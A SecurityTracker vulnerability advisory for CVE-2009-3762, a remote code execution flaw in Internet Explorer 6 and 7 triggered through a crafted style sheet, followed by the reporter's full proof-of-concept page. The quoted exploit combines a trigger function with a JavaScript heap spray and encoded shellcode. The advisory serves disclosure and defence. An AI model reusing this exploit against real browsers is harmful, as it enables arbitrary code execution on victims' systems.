SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Web Browser)  >   Microsoft Internet Explorer (IE) Vendors:   Microsoft
Microsoft Internet Explorer Invalid Pointer Reference in getElementsByTagName() Method Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1023226
SecurityTracker URL:  http://securitytracker.com/id/1023226
CVE Reference:   CVE-2009-3762   (Links to External Site)
Updated:  Nov 24 2009
Original Entry Date:  Nov 23 2009
Impact:   Execution of arbitrary code via network, User access via network
Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 6, 6 SP1, 7
Description:   A vulnerability was reported in Microsoft Internet Explorer. A remote user can cause arbitrary code to be executed on the target user's system.

A remote user can create a specially crafted style sheet that, when loaded by the target user, will trigger an invalid pointer reference error in the getElementsByTagName() method and execute arbitrary code on the target system. The code will run with the privileges of the target user.

IE 5.01 SP4 for Microsoft Windows 2000 SP4 is not affected.

IE 8 is not affected.

K4mr4n_st at yahoo.com reported this vulnerability.

Impact:   A remote user can create a CSS page that, when loaded by the target user, will execute arbitrary code on the target user's system.
Solution:   No solution was available at the time of this entry.

The vendor's advisory is available at:

http://www.microsoft.com/technet/security/advisory/977981.mspx

Vendor URL:  www.microsoft.com/technet/security/advisory/977981.mspx (Links to External Site)
Cause:   Access control error
Underlying OS:   Windows (2000), Windows (2003), Windows (2008), Windows (Vista), Windows (XP)

Message History:   None.


 Source Message Contents

Date:  Fri, 20 Nov 2009 11:04:29 -0700
Subject:  IE7

<!--
securitylab.ir
K4mr4n_st () yahoo com
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd";>
<HTML xmlns="http://www.w3.org/1999/xhtml";> 
    <HEAD>
<script>   
            function load(){
                var e;
                e=document.getElementsByTagName("STYLE")[0];
                e.outerHTML="1"; 
            }
        </script>     
        <STYLE type="text/css">
            body{ overflow: scroll; margin: 0; }
        </style>
        
        <SCRIPT language="javascript">
var shellcode = 
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
</script>
 
    </HEAD>    
    <BODY onload="load()">
    </BODY>
</HTML>


 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2014, SecurityGlobal.net LLC